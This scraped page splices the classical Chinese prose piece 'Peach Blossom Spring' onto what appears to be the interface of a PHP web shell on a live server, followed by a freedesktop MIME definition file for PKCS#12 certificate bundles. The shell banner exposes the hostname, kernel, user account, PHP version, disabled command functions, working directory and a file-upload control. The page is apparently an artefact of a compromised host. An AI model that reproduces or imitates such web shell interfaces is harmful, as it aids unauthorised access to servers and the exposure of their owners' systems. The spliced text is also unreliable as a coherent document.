晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/mime/application/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="application/pkcs12"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>PKCS#12 certificate bundle</comment> <comment xml:lang="ar">رزمة الشهادة PKCS#12</comment> <comment xml:lang="be@latin">Viazka sertyfikataŭ PKCS#12</comment> <comment xml:lang="bg">Сбор със сертификати — PKCS#12</comment> <comment xml:lang="ca">conjunt de certificats PKCS#12</comment> <comment xml:lang="cs">svazek certifikátů PKCS#12</comment> <comment xml:lang="da">PKCS#12-certifikatbundt</comment> <comment xml:lang="de">PKCS#12-Zertifikatspaket</comment> <comment xml:lang="el">Πακέτο ψηφιακών πιστοποιητικών PKCS#12</comment> <comment xml:lang="en_GB">PKCS#12 certificate bundle</comment> <comment xml:lang="eo">ligaĵo de PKCS#12-atestiloj</comment> <comment xml:lang="es">lote de certificados PCKS#12</comment> <comment xml:lang="eu">PKCS#12 zertifikazio sorta</comment> <comment xml:lang="fi">PKCS#12-varmennenippu</comment> <comment xml:lang="fo">PKCS#12 váttanar bundi</comment> <comment xml:lang="fr">lot de certificats PKCS#12</comment> <comment xml:lang="ga">burla teastas PKCS#12</comment> <comment xml:lang="gl">paquete de certificado PKCS#12</comment> <comment xml:lang="he">בקשה מוסמכת PKCS#12</comment> <comment xml:lang="hr">PKCS#12 paket vjerodajnica</comment> <comment xml:lang="hu">PKCS#12-tanúsítványcsomag</comment> <comment xml:lang="ia">Pacchetto de certificatos PKCS#12</comment> <comment xml:lang="id">Bundel sertifikat PKCS#12</comment> <comment xml:lang="it">Bundle certificato PKCS#12</comment> <comment xml:lang="ja">PKCS#12 証明書</comment> <comment xml:lang="kk">PKCS#12 сертификаттар дестесі</comment> <comment xml:lang="ko">PKCS#12 인증서 묶음</comment> <comment xml:lang="lt">PKCS#12 liudijimų ryšulys</comment> <comment xml:lang="lv">PKCS#12 sertifikātu saišķis</comment> <comment xml:lang="ms">Sijil PKCS#12</comment> <comment xml:lang="nb">PKCS#12 sertifikathaug</comment> <comment xml:lang="nl">PKCS#12-certificaatbundel</comment> <comment xml:lang="nn">PKCS#12-sertifikatbunt</comment> <comment xml:lang="oc">lòt de certificats PKCS#12</comment> <comment xml:lang="pl">Pakiet certyfikatu PKCS#12</comment> <comment xml:lang="pt">pacote de certificação PKCS#12</comment> <comment xml:lang="pt_BR">Pacote de certificados PKCS#12</comment> <comment xml:lang="ro">Certificat împachetat PKCS#12</comment> <comment xml:lang="ru">Пакет сертификатов PKCS#12</comment> <comment xml:lang="sk">Zväzok certifikátov PKCS#12</comment> <comment xml:lang="sl">Datoteka potrdila PKCS#12</comment> <comment xml:lang="sq">Bundle çertifikate PKCS#12</comment> <comment xml:lang="sr">ПКЦС#12 пакет уверења</comment> <comment xml:lang="sv">PKCS#12-certifikatsamling</comment> <comment xml:lang="tr">PKCS#12 sertifika paketi</comment> <comment xml:lang="uk">комплект сертифікатів PKCS#12</comment> <comment xml:lang="vi">Bó chứng nhận PKCS#12</comment> <comment xml:lang="zh_CN">PKCS#12 证书束</comment> <comment xml:lang="zh_TW">PKCS#12 憑證檔綁包</comment> <acronym>PKCS</acronym> <expanded-acronym>Public-Key Cryptography Standards</expanded-acronym> <glob pattern="*.p12"/> <glob pattern="*.pfx"/> <alias type="application/x-pkcs12"/> </mime-type>